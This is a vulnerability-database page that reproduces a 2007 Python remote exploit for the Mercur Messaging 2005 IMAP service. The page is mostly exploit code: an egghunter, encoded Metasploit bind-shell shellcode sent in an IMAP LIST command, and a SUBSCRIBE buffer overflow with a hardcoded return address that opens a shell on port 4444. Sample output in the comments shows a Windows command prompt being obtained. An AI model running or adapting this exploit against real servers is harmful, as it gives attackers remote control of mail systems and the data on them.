Lucene search
K

Mercur Messaging 2005 <= SP4 - IMAP Remote Exploit (egghunter mod)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Mercur Messaging 2005 SP3 IMAP service - Remote Exploi

Code

                                                #!/usr/bin/python
# 
# Mercur Messaging 2005 SP3 IMAP service - Egghunter mod
# [email protected]
# http://www.offensive-security.com
# Original exploit by Winny Thomas
# Thanks Thomas, this code really came in handy !
# VMWare seems to alter the stack a bit as the offset 
# of the EIP overwrite was a few bytes off (Windows XPsp2).
# You can inject more than 2000 bytes using an IMAP command (I chose LIST), 
# and then let the egghunter do the rest of the work.
# The initial injected buffer gets cut off, so you need to double check that.
# 
# bt ~ # ./imap.py 192.168.0.75 test test
# * OK MERCUR IMAP4-Server (v5.00.14 Unregistered) for Windows ready at Thu, 22 Mar 2007 00:59:19 +0200
# a001 OK LOGIN completed
# BAD Command unknown
# Shell on port 4444
# 
# bt ~ # nc -v 192.168.0.75 4444
# 192.168.0.75: inverse host lookup failed: Unknown host
# (UNKNOWN) [192.168.0.75] 4444 (krb524) open
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
# 
# C:\WINDOWS\system32&#62;

 

import os
import sys
import time
import socket
import struct

# Place our w00tw00t egghunter in nop heaven

shellcode = &#34;\x90&#34; * 92 
shellcode +=&#34;\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7&#34;
shellcode +=&#34;\x90&#34; * 100
 
# Place w00t and bindshell in correct place in LIST command.

bindshell = &#34;\x90&#34; * 320
bindshell +=&#34;\x54\x30\x30\x57\x54\x30\x30\x57&#34; 

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com
bindshell +=(&#34;\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49&#34;
&#34;\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36&#34;
&#34;\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34&#34;
&#34;\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41&#34;
&#34;\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e&#34;
&#34;\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58&#34;
&#34;\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47&#34;
&#34;\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58&#34;
&#34;\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38&#34;
&#34;\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a&#34;
&#34;\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30&#34;
&#34;\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57&#34;
&#34;\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58&#34;
&#34;\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30&#34;
&#34;\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c&#34;
&#34;\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44&#34;
&#34;\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50&#34;
&#34;\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f&#34;
&#34;\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33&#34;
&#34;\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f&#34;
&#34;\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f&#34;
&#34;\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50&#34;
&#34;\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d&#34;
&#34;\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45&#34;
&#34;\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f&#34;
&#34;\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38&#34;
&#34;\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55&#34;
&#34;\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d&#34;
&#34;\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d&#34;
&#34;\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38&#34;
&#34;\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35&#34;
&#34;\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37&#34;
&#34;\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56&#34;
&#34;\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56&#34;
&#34;\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54&#34;
&#34;\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54&#34;
&#34;\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53&#34;
&#34;\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51&#34;
&#34;\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35&#34;
&#34;\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35&#34;
&#34;\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c&#34;
&#34;\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f&#34;
&#34;\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f&#34;
&#34;\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e&#34;
&#34;\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a&#34;)

# Pad the injected command

bindshell +=&#34;\xcc&#34; * 1000

def ExploitMercur(target, username, passwd):
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock.connect((target, 143))
	response = sock.recv(1024)
	print response
	login = &#39;a001 LOGIN &#39; + username + &#39; &#39; + passwd + &#39;\r\n&#39;
	sock.send(login)
	response = sock.recv(1024)
	print response
	imaplist = &#39;a001 LIST &#39; + bindshell + &#39;\r\n&#39;
	sock.send(imaplist)
	response = sock.recv(1024)
	print response
	payload = shellcode
	payload += &#39;L&#39; * 1
	payload += &#39;Y&#39; * 4
	payload += &#39;Z&#39; * 4
#	01883A50	FFD3	CALL EBX	MCRFAX.DLL
	payload += struct.pack(&#39;&#60;L&#39;, 0x01883A50)
	payload += &#39;L&#39; *  27
	payload += &#39;M&#39; *  16
	payload += &#39; &#39; + &#39;\&#34;/\&#34;&#39; + &#39; &#39; + &#39;\&#34;\&#34;&#39;
	req = &#39;a001 SUBSCRIBE &#39; + payload + &#39;\r\n&#39;
	sock.send(req)
	sock.close()
	print &#39;Shell on port 4444&#39;

def ConnectRemoteShell(target):
	connect = &#34;/usr/bin/telnet &#34; + target + &#34; 4444&#34;
	os.system(connect)

if __name__==&#34;__main__&#34;:
	try:
		target = sys.argv[1]
		username = sys.argv[2]
		passwd = sys.argv[3]
	except IndexError:
		print &#39;Usage: %s &#60;imap server&#62; &#60;username&#62; &#60;password&#62;\n&#39; % sys.argv[0]
		sys.exit(-1)
	ExploitMercur(target, username, passwd)

# milw0rm.com [2007-03-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation